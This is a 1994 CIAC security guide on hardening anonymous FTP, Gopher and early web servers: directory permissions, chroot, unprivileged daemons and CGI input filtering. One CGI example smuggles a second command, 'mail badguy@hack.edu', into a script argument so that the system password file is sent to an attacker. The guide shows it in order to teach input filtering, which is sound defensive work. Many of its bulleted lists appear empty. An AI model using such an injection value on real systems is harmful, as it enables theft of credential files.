HostedDB - Dedicated UNIX Servers

-->
CIAC 2308 Securing Internet Information Servers (html)

Securing Internet Information Servers

CIAC-2308 R.2
UCRL-MA-118453
by the Members of the CIAC Team
December, 1994

DISCLAIMER

This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation, or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes.

Reference to any specific commercial product does not necessarily constitute or imply its endorsement, recommendation or favoring by CIAC, the University of California, the United States Department of Energy, or the United States Government.

Work performed under the auspices of the U. S. Department of Energy by Lawrence Livermore National Laboratory under Contract W-7405-Eng-48.

TABLE OF CONTENTS


SECURING INTERNET INFORMATION SERVERS

Introduction

Overview

As the Internet rapidly becomes populated with increasingly easy-to-use information servers (such as FTP, Gopher, and the World Wide Web (WWW)), users around the world are distributing a staggering amount of data. The information servers make it easy for users to provide information to colleagues, friends, and the general public. Organizations, businesses, and individuals are creating access to information that has never before been available.

Need for Security

Information server technology certainly benefits users; however, information providers should address several aspects of information sharing to assure the security of the information they distribute. The need to secure information servers is very real. For example: Organizations have reported significant damage. In one case, an intruder compromised the primary distribution server for a popular network software package and installed a "back door" in the package. The back door allowed intruders to easily compromise any site that installed the modified package. Fortunately, the system administrators were carefully monitoring the integrity of the distribution and the incident was discovered in less than 24 hours. Even so, users around the world had retrieved hundreds of copies, and administrators had to notify each user of the problem.

General Guidelines for Establishing Information Servers

Recommendations

Specific configuration recommendations for FTP, Gopher, and WWW servers are presented in subsequent sections of this document. However, CIAC recommends these general guidelines for establishing any type of information server:

SECURING ANONYMOUS FTP SERVERS

Overview

Use of FTP Servers

The File Transfer Protocol, or FTP, is the basis for the oldest and most common type of information server on the Internet, the anonymous FTP server. Anonymous FTP servers allow unauthenticated access to a portion of a host's file system. The server software allows remote users to retrieve files and occasionally it allows file uploads or even more advanced operations, such as index searches and file compression.

These servers are often used to distribute software packages and documents. For example, this document is available from the anonymous FTP server "ciac.llnl.gov".

FTP Server Vulnerabilities

Anonymous FTP servers exhibit several vulnerabilities. These are:

FTP Server Configuration Issues

CIAC recommends users consider the following guidelines when setting up an FTP configuration:

How to Secure an Anonymous FTP Server

Procedure

Follow these steps to create a new FTP server:
1. Create the FTP "user".
To create a new "ftp" user and group, you add entries to the system password and group files '/etc/passwd' and '/etc/group', respectively. The following guidelines are important: Examples of system password file and system group file additions are:
         --------------------------------------------------------
        | System password file:
        | 
        | prompt% cat /etc/passwd
        | :
        | ftp:*:300:300:Anonymous FTP:/home/ftp:/bin/false
        | :
        | 
        | System group file:
        | 
        | prompt% cat /etc/group
        | :
        | ftp::300:
        | :
         --------------------------------------------------------
       
2. Create the anonymous FTP file area.
The FTP home directory '~ftp' and all lower-level information will be available to anonymous users. The following guidelines are important: The directory set-up looks like this:
         --------------------------------------------------------
        | prompt% ls -lgd ~ftp
        | dr-xr-xr-x  8 root	ftp	512 Jun 21 11:28 ftp
         --------------------------------------------------------
       
3. Create the directory '~ftp/etc'.
The following guidelines are important in creating the '~ftp/etc' directory:
4. Create the directory '~ftp/bin'.
The following guidelines are important in creating the '~ftp/bin' directory: The directory set-up looks like this:
         --------------------------------------------------------
        | prompt% ls -lgd ~ftp/bin
        | d--x--x--x  8 root	ftp	512 Jun 21 11:30 bin
         --------------------------------------------------------
       
5. Copy the ls program into '~ftp/bin'.
The following guidelines are important when copying the 'ls' program into '~ftp/bin': The directory set-up looks like this:
         --------------------------------------------------------
        | prompt% ls -lg ~ftp/bin
        | ---x--x--x  8 root	ftp	13352 Jun 20 14:02 ls
         --------------------------------------------------------
       
6. Create a directory '~ftp/pub' for files to be distributed to anonymous users.
The following guidelines are important in creating the '~ftp/pub' directory: The directory set-up looks like this:
         --------------------------------------------------------
        | prompt% ls -lgd ~ftp/pub
        | dr-xr-xr-x  8 root	ftp	512 Jun 21 11:40 pub
         --------------------------------------------------------
       

Additional Configuration for SunOS

Many SunOS commands, including 'ls', use shared libraries at runtime. You will need to install the appropriate shared libraries in the anonymous FTP area to allow these SunOS commands to work.

Follow these steps to install the SunOS libraries:

  1. Create the directories '~ftp/usr' and '~ftp/usr/lib'.
  2. Copy '/usr/lib/ld.so' and the latest versions of '/usr/lib/libc.so.X.Y' and '/usr/lib/libdl.so.X.Y' into '~ftp/usr/lib'. ("X" and "Y" are the version numbers of the library.)
  3. Create a '~ftp/dev' directory.
  4. Create the zero device (required by the shared library loader) using the following commands:
             --------------------------------------------------------
            | prompt% cd ~ftp/dev
            | prompt% mknod zero c 3 12
             --------------------------------------------------------
         

Establishing an Incoming File Area

Network intruders often exploit directories that are writable by anonymous users. If your server requires a writable area, configure it securely. The following guidelines are important in creating a writable area directory: This configuration will allow anonymous users to create new files in the directory, but will not allow them to overwrite or delete existing files or view the contents of the directory.

A sample incoming directory set-up looks like this:

         --------------------------------------------------------
        | prompt% mkdir ~ftp/incoming
        | prompt% chown root ~ftp/incoming
        | prompt% chgrp ftp ~ftp/incoming
        | prompt% chmod 1733 ~ftp/incoming
        | prompt% ls -lgd ~ftp/incoming
        | drwx-wx-wt  8 root	ftp	512 Jun 21 11:45 incoming
         --------------------------------------------------------

Advanced Features

Public FTP Servers

Several replacement FTP servers available in the public domain provide additional features to those typically found in standard vendor FTP server software. Features that improve FTP server security are often available this way. For example, the Washington University FTP server allows some commands, such as "RENAME" or "DELETE," to be disabled for anonymous users. This server also allows increased system-level control of the files uploaded by anonymous users by limiting writable locations, file permissions, and allowed filenames.

Appendix A provides additional information on the sources and features of public domain FTP servers.


SECURING GOPHER SERVERS

Overview

Advantages and Disadvantages of Gopher Servers

Gopher servers are newer to the Internet than FTP servers. Gopher servers have several advantages over the FTP servers. These include: However, these advantages, combined with the relatively new development stage of the software, create the potential for increased risk to the machines and associated systems running gopher software.

Gopher Server Vulnerabilities

Gopher servers exhibit several vulnerabilities. These include:

How to Configure a Gopher Server

Using Configuration Options

This section describes several configuration options that will limit the vulnerability of your gopher system.
  1. Run the most recent version of the gopher server software. Currently, these versions are "gopher 1.13" (Gopher) and "gopher 2.013" (Gopher+). CIAC believes these versions are free from most of the vulnerabilities described in the previous section.

    These gopher versions are available via anonymous FTP server " ftp://boombox.micro.umn.edu/pub/gopher/Unix/".

  2. Do not use the '-c' command line option to the gopher daemon ("gopherd") program. Without '-c', the gopher server will perform a 'chroot()' system call when it starts up, thus making the gopher home directory appear to the gopher server to be the root of the file system. This configuration prevents the gopher server from accessing any files outside the gopher home directory.

    Note: If you use the '-c' option, any vulnerability in the gopher software will allow an intruder to access all files on the system.

  3. Use the '-u' command line option to the "gopherd" program to specify an alternate user name for runtime.

    Note: If you do not use the '-u' option, the server will run as the superuser, and any intruder able to compromise the server software will have privileged access to the system.

    Use a non-privileged user name, for example:

             --------------------------------------------------------
            | /usr/local/etc/gopherd -u nobody
             --------------------------------------------------------
           
  4. Use the '-l' command line option to specify a file for a transaction log. Regular examination of the log will alert you to unusual or suspicious requests for the server. The log will also provide a useful audit trail if you suspect your server has been compromised.

    An example of the '-l' command line option looks like this:

             --------------------------------------------------------
            | /usr/local/etc/gopherd -u nobody -l /usr/adm/gopherlog
             --------------------------------------------------------
           
  5. Do not use the same data directories for gopher and anonymous FTP servers if the FTP server allows remote users to upload files.

    Note: Using the same directories for gopher and anonymous FTP servers can allow users to upload executable files with FTP; users can then execute the files via gopher.


SECURING WORLD WIDE WEB SERVERS

Overview

Advantages and Disadvantages of World Wide Web Servers

The most recent development on the Internet is the astonishing proliferation of World Wide Web (WWW) information servers. These servers offer many advantages, including: These advantages have helped the WWW become the fastest growing information service on the Internet. However, these advantages--in similar fashion to those of gopher servers--combined with the new and untested nature of the server software, introduce the potential for compromise of the server and the information contained on it.

WWW Network Protocol

The principal network protocol used on the WWW is the HyperText Transfer Protocol (HTTP), that allows access to documents using HyperText Mark-Up Language (HTML). HTTP servers are available for many operating systems, including Unix, VMS, Macintosh, and PC systems.

WWW Server Vulnerabilities

Server vulnerabilities vary from operating system to operating system. However, two general areas of vulnerability potentially affect all WWW servers. These are:

How to Configure a WWW Server

General Guidelines

Several installation and configuration options are available that will lessen the chances of your WWW server being subverted. Because versions of HTTP servers are available for many operating systems, the configuration solutions recommended in this section are presented in a general format. Consult the documentation for your specific server to develop these configurations in more detail.

Using Configuration Options

This section describes several configuration options that will limit the vulnerability of your WWW server.
  1. Run the server daemon as a nonprivileged user (e.g., user "nobody") rather than as user "root". Most server daemons can be configured this way. Thus, if an intruder discovers a vulnerability in the server, he or she can only access files and executable programs with the privileges of a nonprivileged user.

    For example, with the NCSA HTTP server, the following configuration lines in the 'conf/httpd.conf' configuration instruct the server to run with the access privileges of user "nobody" and group "nogroup":

             --------------------------------------------------------
            | User nobody
            | Group nogroup
             --------------------------------------------------------
           
  2. Most current HTTP servers implement a "Server Includes" or "Server Parsed" feature. This feature allows the server to insert the contents of specific files or the results of system commands in HTML documents as they are sent to remote users. The "Server Includes" or "Server Parsed" feature is often used to include standard disclaimers or dynamic information such as modification dates or file sizes.

    Note: To prevent access to sensitive files by intruders via HTML, you can usually turn off the "include files" feature for specific directories.

    For example, the following configuration commands in the configuration file 'conf/access.conf' instruct the NCSA HTTP server to disallow included files in HTML documents found in user home directories under '/home':

             --------------------------------------------------------
            | 
            | AllowOveride None
            | Options Indexes
            | 
             --------------------------------------------------------
           
  3. Write server CGI scripts carefully. You must design these scripts to handle user input cautiously. For example, if a server CGI script instructed the server to execute the command 'searchindex' with only one user-supplied command line option, e.g., '$ARG', the server would likely issue the shell command:
             --------------------------------------------------------
            | searchindex $ARG
             --------------------------------------------------------
           
    If '$ARG' is set to 'computers;mail badguy@hack.edu ', the line sent to the shell would actually look like this:
             --------------------------------------------------------
            | searchindex computers;mail badguy@hack.edu 
    
      Two commands would be executed:
    
           
    • As expected, the searchindex command would search for the keyword "computers".
    • In the Unix shell, the ";" character is used to separate commands. Thus, the server would then mail the system password file to "badguy@hack.edu".
    Note: To prevent CGI script compromise, avoid passing remote user input directly to command interpreters such as Unix shells, other interpreters such as Perl and AWK, or programs that allow commands to be embedded in outgoing messages, such as '/usr/ucb/mail'.

    If user input must pass to these types of programs, filter the input for potentially dangerous characters before it is passed along. These characters include the period (.), comma (,), slash (/), semi-colon (;), tilde (~), and exclamation point (!).

  4. Consider running HTTP servers in a restricted portion of the Unix file system. Most Unix operating systems provide a 'chroot()' system call that causes a program to view the specified directory as the root of the file system.

    Here is an example of such a system call:

             --------------------------------------------------------
            | chroot (/usr/local/httpd)
             --------------------------------------------------------
           
    This call would make the directory '/usr/local/httpd' appear as '/' to the program. An intruder to this restricted file system would only have access to files below this directory, thus significantly reducing potential damage to the system.

    To execute network daemons such as HTTP servers in this type of restricted environment, you can use a public domain package called 'chrootuid'. The package is available via anonymous FTP from the address "ftp://ftp.win.tue.nl/pub/security".


REFERENCES

References on Internet Security

The author used the references listed below to develop the information contained in this document.
  1. DFN-CERT (1994). DSB-94:02 New Security Hold in gopherd and gopher. Available via anonymous FTP from "ftp.informatik.uni-hamburg.de" in the directory '/pub/security'.
  2. Klaus, Christopher (1994). How to Set Up a Secure Anonymous FTP Site. Available via anonymous FTP from "rtfm.mit.edu" in the file '/pub/usenet-by-group/comp.security.unix/computer-security_anonymous-ftp_FAQ'.
  3. Lindner, Paul (1994). Guide to Safe Gophering. Presented at GopherCON 94. Available via Gopher at "boombox.micro.umn.edu".
  4. NCSA (1994). NCSA httpd. Available at "http://hoohoo.ncsa.uiuc.edu/docs/Overview.html".
  5. U.S. Department of Energy, Computer Incident Advisory Capability (CIAC) (1994). E-14 wuarchive ftpd Trojan Horse. Available via anonymous FTP from "ciac.llnl.gov" in the directory '/pub/ciac/bulletin'.

APPENDIX A: PUBLICLY AVAILABLE SERVER SOFTWARE

What's in This Appendix

This appendix summarizes the features and locations of several public domain software packages mentioned in this document.

Washington University FTP Daemon

The Washington University server is the most popular software replacement for vendor supplied FTP daemons. The software has several additional features that facilitate the handling of large numbers of anonymous FTP connections; some of these features are also useful for enhancing the security of the server.

Supported features include:

The Washington University software is available via anonymous FTP from "wuarchive.wustl.edu" in the directory '/packages/wuarchive-ftpd'.

Gopher Server Software

The primary location for Gopher server software is the anonymous FTP site "boombox.micro.umn.edu" in the directory '/pub/gopher'. Servers are available for several platforms, including Unix, Macintosh, and PC systems.

World Wide Web HTTP Servers

Several HTTP servers are available for a variety of host platforms. HTTP servers include:
NCSA httpd
This server is available for Unix systems. NCSA httpd features include: This server is available via anonymous FTP from "ftp.ncsa.uiuc.edu" in the directory '/Web/httpd'.
CERN httpd
The CERN server provides a feature set very similar to the NCSA daemon. In addition, it can be used as a WWW gateway for systems that are behind firewalls.

This server is available for Unix and VMS systems via anonymous FTP from "ftp.w3.org".

GN Gopher/HTTP
The GN Gopher/HTTP server supports both Gopher and WWW clients simultaneously. The GN server provides access control on a per-document rather than per-directory basis, resulting in potentially tighter control over the distributed information.

For more information, see the WWW page "http://hopf.math.nwu.edu/".

The "chrootuid" Package

The "chrootuid" package simplifies the task of running a program (such as an information server) with restricted file system access and as a nonprivileged user.

The software is available via anonymous FTP from "coast.cs.purdue.edu" in the directory '/pub/tools/unix/chrootuid'.

The Security Profile Inspector

The Security Profile Inspector (SPI) tool performs security assessments of Unix and VMS-based systems, reporting system configuration vulnerabilities, bad passwords, and violations of system file integrity. Of particular interest to information server administrators, the SPI tool will maintain a database of secure checksums for specified system directories and will alert the administrator to any changes to the contents of those directories.

For further information, call the SPI project lead at (510) 422-3881.

Tripwire

The Tripwire tool will monitor the integrity of a set of user-selected files and directories on a Unix system. The tool will detect and report to the system administrator any changes, additions, or deletions to these files.

Tripwire is available via anonymous FTP from "coast.cs.purdue.edu" in the directory '/pub/tools/unix/Tripwire'.


APPENDIX B: CONTACTING CIAC

Phone                (510) 422-8193

Fax                  (510) 423-8002

STU-III              (510) 423-2604

Electronic mail       ciac@llnl.gov

Emergency SKYPAGE     800-SKYPAGE pin# 855-0070

Anonymous FTP server  ciac.llnl.gov (IP 128.115.19.53)

BBS                   (510) 423-3331 (9600 Baud)
                      (510) 423-4753 (2400 Baud)


READER COMMENTS

CIAC updates and enhances the documentation it produces. If you find errors in or have suggestions to improve this document, please fill out this form. Mail it to CIAC, Lawrence Livermore National Laboratory, P.O. Box 808, Mail Stop L-303, Livermore, CA, 94551-9900. Thank you.

List errors you find here. Please include page numbers.


________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________

List suggestions for improvement here.

________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________

Optional:

Name _____________________________________________  Phone ______________
Securing Internet Information Servers CIAC-2308 R.2       December, 1994

UCRL-MA-118453
[CIAC Home Page] [Disclaimer]
Last modified: Monday, 10-Mar-97 17:24:41 PST
CIAC Documents / CIAC / webmaster@ciac.llnl.gov